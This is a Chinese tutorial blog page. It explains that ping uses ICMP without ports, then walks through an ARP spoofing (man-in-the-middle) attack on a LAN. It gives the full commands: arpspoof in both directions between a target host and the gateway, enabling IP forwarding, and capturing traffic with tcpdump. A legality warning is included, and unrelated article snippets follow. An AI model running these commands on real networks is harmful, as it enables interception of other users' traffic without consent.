当前位置: 首页 > news >正文

ICMP协议以及ARP欺骗攻击

  ping 命令使用的是 ICMP(Internet Control Message Protocol)协议,而不是 TCP 或 UDP 协议。因此,ping 命令并不使用特定的端口号。

ICMP 协议

        ICMP 是一种网络层协议,主要用于在 IP 网络中传递控制消息。ping 命令利用 ICMP 协议来测试主机之间的连通性,其工作流程如下:

  1. 发送 ICMP Echo Request(回显请求)

    • 源主机(发送 ping 命令的主机)发送一个 ICMP Echo Request 消息到目标主机。
  2. 接收 ICMP Echo Reply(回显应答)

    • 如果目标主机在线且未阻止 ICMP 请求,它会返回一个 ICMP Echo Reply 消息给源主机。
  3. 计算往返时间

    • ping 命令会计算从发送请求到收到应答的时间,从而得到一个往返时间(RTT)值。

端口的应用

        端口号通常用于传输层协议(如 TCP 和 UDP),以标识特定的应用程序或服务。ICMP 作为一种网络层协议,并不使用端口号,而是通过 IP 地址来标识目标主机。

示例

当你在命令行中运行 ping 命令时,例如:

ping 192.168.1.1

        你实际上是在发送 ICMP Echo Request 数据包到 IP 地址 192.168.1.1,而不是发送到一个特定的端口号。

结论

  ping 命令使用的是 ICMP 协议,而不是特定的端口号。网络层协议(如 ICMP)通过 IP 地址进行通信,而不是通过端口号。

 

        ARP 欺骗(也称为 ARP 中毒或 ARP 欺诈)是一种针对局域网的攻击形式,其中攻击者通过发送伪造的 ARP 消息来获取网络中其他设备的流量。这种攻击主要是为了监听、干扰或重定向网络通信。

模拟 ARP 欺骗的步骤

以下是如何在 Linux 系统(如 Ubuntu)上模拟 ARP 欺骗的基本步骤:

1. 准备工作

确保你有 root 权限或使用 sudo。还需要安装一些网络工具,如 arpspoof(通常包含在 dsniff 包中)。

sudo apt update
sudo apt install dsniff
2. 确定目标

你需要知道在你局域网中的目标 IP 地址和 MAC 地址。可以使用 arp -a 或 ifconfig 等命令来查看网络中的设备。

  • 例如:
    • 目标设备的 IP:192.168.18.100
    • 默认网关的 IP:192.168.18.1

你可以使用以下命令来检查路由表,看看默认网关是否是 192.168.18.1

route -n

在输出中,查找 Gateway 列,看看默认网关是否指向 192.168.18.2。示例输出可能如下:

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.18.1    0.0.0.0         UG    0      0        0 ens33

如果 Gateway 是 192.168.18.1,那么这就是你的网关。

默认网关
  • 0.0.0.0 192.168.18.1 0.0.0.0 UG 100 0 0 ens33
  • 这条路由规则表明,192.168.18.1 是你的默认网关(Gateway)。所有非本地网络的流量都会通过这个网关进行路由。
本地网络路由
  • 192.168.18.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
  • 这条路由规则表示,192.168.18.0/24 网段内的流量会在本地进行处理,不需要通过网关。
3. 进行 ARP 欺骗

使用 arpspoof 工具进行 ARP 欺骗,以便让目标设备(192.168.18.100)认为攻击者的设备是网关(192.168.18.1)。

在一个终端中,先将目标设备的流量重定向到自己:

sudo arpspoof -i ens33 -t 192.168.18.100 192.168.18.1

在另一个终端中,将网关的流量重定向到自己:

sudo arpspoof -i ens33 -t 192.168.18.1 192.168.18.100
4. 启用 IP 转发(可选)

为了让攻击者能够转发流量,需要启用 IP 转发。可以通过以下命令进行操作:

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
  • 注意:如果不启用 IP 转发,攻击者的机器将无法转发流量。
 检查目标设备的 ARP 表

在 192.168.18.100 设备上,运行以下命令,查看它的 ARP 表:

arp -a

这应该显示出 192.168.18.1 的 MAC 地址。如果没有正确显示你的 MAC 地址,则欺骗失败,还需要确认网络连接是否正常。

5. 捕获流量(可选)

如果希望监控通过你的设备流过的流量,可以使用工具如 tcpdump 或 Wireshark 捕获数据包。

使用 tcpdump 进行简单的流量捕获:

sudo tcpdump -i ens33 -w capture.pcap
6. 结束攻击

完成模拟后,通过按 Ctrl+C 停止 arpspoof 命令,并通过以下命令禁用 IP 转发:

echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward

重要提示

  • 确保在合法的环境下进行 ARP 欺骗测试。未经授权的 ARP 欺骗是非法行为。
  • ARP 欺骗可能会影响局域网中的其他设备和用户,因此务必谨慎。
  • 使用 Wireshark 等工具监控 ARP 流量,帮助你理解 ARP 欺骗的工作原理。

相关文章:

ICMP协议以及ARP欺骗攻击

ping 命令使用的是 ICMP(Internet Control Message Protocol)协议,而不是 TCP 或 UDP 协议。因此,ping 命令并不使用特定的端口号。 ICMP 协议 ICMP 是一种网络层协议,主要用于在 IP 网络中传递控制消息。ping 命令利…...

qt5.12.12插件机制无法加载插件问题

环境:win11 vs2015 qt5.12.12 问题描述:确保插件代码正确的情况下,无法解析插件接口(即QPluginLoader类的instance(); 返回为空)。 问题现象:1、qt5.12.12的debug下无法解析;2、release下禁…...

机器学习面试笔试知识点-线性回归、逻辑回归(Logistics Regression)和支持向量机(SVM)

机器学习面试笔试知识点-线性回归、逻辑回归Logistics Regression和支持向量机SVM 一、线性回归1.线性回归的假设函数2.线性回归的损失函数(Loss Function)两者区别3.简述岭回归与Lasso回归以及使用场景4.什么场景下用L1、L2正则化5.什么是ElasticNet回归6.ElasticNet回归的使…...

SpringBoot民宿预订系统设计与实现

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…...

linux环境下C程序的编译过程以及makefile的简单使用

在windows下,很多用来进行编程软件对于写好的文件,点击编译即可生成想要文件。如.exe可执行文件,.hex文件或者.bin文件等等。软件为我们省略了很多事。但是对于linux初学者来说,初次接触linux系统,面对命令行黑框框有点…...

【从零开始的LeetCode-算法】945. 使数组唯一的最小增量

给你一个整数数组 nums 。每次 move 操作将会选择任意一个满足 0 < i < nums.length 的下标 i&#xff0c;并将 nums[i] 递增 1。 返回使 nums 中的每个值都变成唯一的所需要的最少操作次数。 生成的测试用例保证答案在 32 位整数范围内。 示例 1&#xff1a; 输入&am…...

Java程序设计:spring boot(2)

目录 1 Spring MVC 零配置创建与部署 1.1 创建Spring MVC Web⼯程 1.2 pom.xml 添加坐标相关配置 1.3 添加源代码 1.4 添加视图 1.5 SpringMVC 配置类添加 1.6 入口文件代码添加 1.7 部署与测试 2 Spring Boot 概念&特点 2.1 框架概念 2.2 框架特点 2.3 Spring…...

服务器运维监控平台

云监控平台-简介 一&#xff1a;简介 “phoenix” 是一个灵活可配置的开源监控平台&#xff0c;主要用于监控应用程序、服务器、docker、数据库、网络、tcp 端口和 http 接口&#xff0c;通过实时收集、汇聚和分析监控信息&#xff0c;实现在发现异常时立刻推送告警信息&…...

css中 global 和 deep(两个样式穿透) 区别

1.:global(selector)&#xff1a;这个伪类选择器会选择所有全局的、未被其他样式表覆盖的元素。换句话说&#xff0c;它会匹配所有没有被其他样式表&#xff08;例如内联样式或外部样式表&#xff09;所影响的元素。 :global(p) {color: red; }这段代码会将所有 <p> 元素…...

【星闪技术】WS63E模块的WiFi客户端测试

引言 我所计划的WS63E测试要实现MQTT联网&#xff0c;所以首先需要确保开发板连接WiFi。今天来测试一下WiFi功能。 程序分析 WiFi客户端的例子在src/application/samples/wifi/sta_sample目录下。这个例子看上去和hi3861的例子差不多。 这段程序是一个用于嵌入式设备的Wi-F…...

Android面试之5个Kotlin深度面试题:协程、密封类和高阶函数

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 面试题目1&#xff1a;Kotlin中的协程与线程的区别是什么&#xff1f;如何在Android中使用协程进行异步编程&#xff1f; 解答&#xff1a; 协…...

操作系统 和 初识进程

目录 操作系统&#xff08;OS&#xff09; 进程 操作系统&#xff08;OS&#xff09; 概念 操作系统即os&#xff0c;是一款软件。 任何计算机系统都包含一个基本的程序集合&#xff0c;称为操作系统(OS)。 操作系统的本质是一种进行软硬件管理的软件 笼统的理解&#xf…...

QT--Qlabel学习、获取文本和设置文本、文本对齐方式、文本换行、显示图片

QLabel 是 Qt 中的标签类&#xff0c;通常用于显示提示性的文本&#xff0c;也可以显示图像 对齐方式 用于设置标签中的内容在水平和垂直两个方向上的对齐方式&#xff0c;比如左对齐、右对齐、上对齐、下对齐、水平居中、垂直居中等。 // 获取和设置文本的对齐方式 Qt::Ali…...

深度学习:终身学习(Life-Long Learning)详解

终身学习&#xff08;Life-Long Learning&#xff09;详解 终身学习&#xff08;也称为持续学习或增量学习&#xff09;是机器学习中的一个重要研究领域&#xff0c;它关注如何使机器学习模型在完成一系列任务后&#xff0c;能够持续学习新任务&#xff0c;而不会忘记之前学到…...

前端UI框架

组件UI类 1.Element-Plus 2.uView 3.Vant 4.TDesign 5.uni-app 6.Tuniao-vue3 7. 可视化图标类 1.可视化图标VUE Data UI 2.Echart 图标库ICON 1.yesicon 2.Flaticon 3.Google Fonts 4.fontawesome 5.阿里巴巴 其他 1.CSS布局 2.web前端样式布局 3.中国色-颜色合集 托管…...

最佳副屏串流解决方案:如何低成本打造电脑拓展副屏?

如何低成本打造电脑拓展副屏&#xff1f;如果你有一台平板和一台电脑&#xff0c;想要提高打游戏、办公或是学习的效率。那么&#xff0c;使用网易GameViewer远程&#xff0c;就能帮你低成本打造电脑拓展副屏。 简单来说&#xff0c;副屏串流就是能让你多出一块显示屏。在打游戏…...

SQL Injection | SQL 注入概述

关注这个漏洞的其他相关笔记&#xff1a;SQL 注入漏洞 - 学习手册-CSDN博客 0x01&#xff1a;SQL 注入漏洞介绍 SQL 注入就是指 Web 应用程序对用户输入数据的合法性没有判断&#xff0c;前端传入后端的参数是可控的&#xff0c;并且参数会带入到数据库中执行&#xff0c;导致…...

【Linux 从基础到进阶】磁盘I/O性能调优

磁盘I/O性能调优 1. 引言 磁盘I/O性能是决定服务器整体性能的关键因素之一。磁盘I/O性能的瓶颈常常会影响数据库、文件系统以及虚拟化平台等关键应用的响应时间。因此&#xff0c;磁盘I/O调优是系统管理员不可忽视的任务。 本文将介绍影响磁盘I/O性能的主要因素&#xff0c;…...

浅谈AGI时代的“数据枢纽”——向量数据库

一、前言 人工智能的关键&#xff0c;不只是构建好算力、算法、模型&#xff0c;更重要的是做好数据的清洗、处理、挖掘等问题。一定程度上&#xff0c;智能时代&#xff0c;企业数据处理能力有多强&#xff0c;决定了业务发展的天花板有多高。 在企业数智化转型过程中&#x…...

生成 Excel 表列名称

Excel 大家都用过&#xff0c;它的列名是用字母编号的&#xff0c;A 表示第一列&#xff0c;B 表示第二列&#xff0c;AA 表示第27列&#xff0c;AB 表示第28列等等。 现给定一个数字&#xff0c;如何得到列名称呢。比如输入28&#xff0c;输出 AB。 一开始以为就是一个简单的…...

基于yolov10的烟雾明火检测森林火灾系统python源码+pytorch模型+评估指标曲线+精美GUI界面+数据集

【算法介绍】 基于YOLOv10的烟雾明火检测森林火灾系统是一种先进的火灾预警系统&#xff0c;它结合了深度学习和计算机视觉技术&#xff0c;能够实时检测和分析森林中的烟雾和明火&#xff0c;从而有效预防和控制森林火灾的发生。 该系统主要基于YOLOv10模型进行构建&#xf…...

UltraISO(软碟通)制作U盘制作Ubuntu20.04启动盘

目录 一、启动盘制作 1、工具准备 2、打开UltraISO后&#xff0c;点击左上角的文件&#xff0c;在打开的下拉项中&#xff0c;选择打开准备好的Ubuntu系统20.04 LTS镜像文件(ubuntu-20.04-desktop-amd64.iso)&#xff1b; 3、然后点击启动->写入硬盘映像 4、在弹出的窗…...

【EtherCAT实践篇一】TwinCAT 3安装、使用

TwinCAT 基于 PC 的开放式控制技术 倍福推出的基于 PC 的控制技术定义了自动化领域的全球标准。在软件方面&#xff0c;1996 年推出的 TwinCAT&#xff08;The Windows Control and Automation Technology&#xff0c;基于 Windows 的控制和自动化技术&#xff09;自动化套件是…...

4、CSS3笔记

文章目录 四、CSS3CSS3简介css3概述CSS3私有前缀什么是私有前缀为什么要有私有前缀常见浏览器私有前缀 CSS3基本语法CSS3新增长度单位CSS3新增颜色设置方式CSS3新增选择器CSS3新增盒模型相关属性box-sizing 怪异盒模型resize 调整盒子大小box-shadow 盒子阴影opacity 不透明度 …...

Docker无法拉取镜像解决办法

Docker 无法拉取镜像解决办法 一.现象描述 在docker拉取镜像的时候重复拉取镜像然后超时。 二.解决办法 1.配置国内镜像源地址加速 vi /etc/docker/daemon.json在文件中增加如下内容 { "registry-mirrors": ["https://docker.m.daocloud.io","h…...

Ubuntu 20.04安装Qt 5.15(最新,超详细)

Ubuntu 20.04安装Qt 5.15 1. 准备注册Qt账号安装依赖下载安装工具 2. 安装3. 测试参考 前言 Qt 是一个跨平台的应用程序框架&#xff0c;它支持开发 C 图形用户界面应用程序。Qt 可以用于开发运行在多种操作系统上的应用程序&#xff0c;包括 Windows、Linux、macOS 和各种移动…...

桂林旅游一点通:SpringBoot平台应用

3系统分析 3.1可行性分析 通过对本桂林旅游景点导游平台实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本桂林旅游景点导游平台采用SSM框架&#xff0c;JAVA作…...

【WPF】04 Http消息处理类

这里引入微软官方提供的HttpClient类来实现我们的目的。 首先&#xff0c;介绍一下官方HttpClient类的内容。 HttpClient 类 定义 命名空间: System.Net.Http 程序集: System.Net.Http.dll Source: HttpClient.cs 提供一个类&#xff0c;用于从 URI 标识的资源发送 HTTP 请…...

如何精准设置线程数,提升系统性能的秘密武器!

线程数设定多少更合适&#xff1f; 线程数的设定需要根据任务的类型、系统资源、以及并发需求来进行权衡。设定合适的线程数可以有效提升系统的性能&#xff0c;但设置过多或过少都会影响程序的效率。以下是一些关键因素和计算方法&#xff0c;用于帮助确定最合适的线程数。 …...

正则表达式:从入门到精通

正则表达式(Regular Expression,简称 regex)是一种强大的文本匹配和处理工具。它可以用于搜索、替换、验证和提取文本中的特定模式。本文将带您深入了解正则表达式的各个方面,从基础知识到高级技巧。 1. 基础知识 1.1 什么是正则表达式? 正则表达式是由一系列字符和特殊…...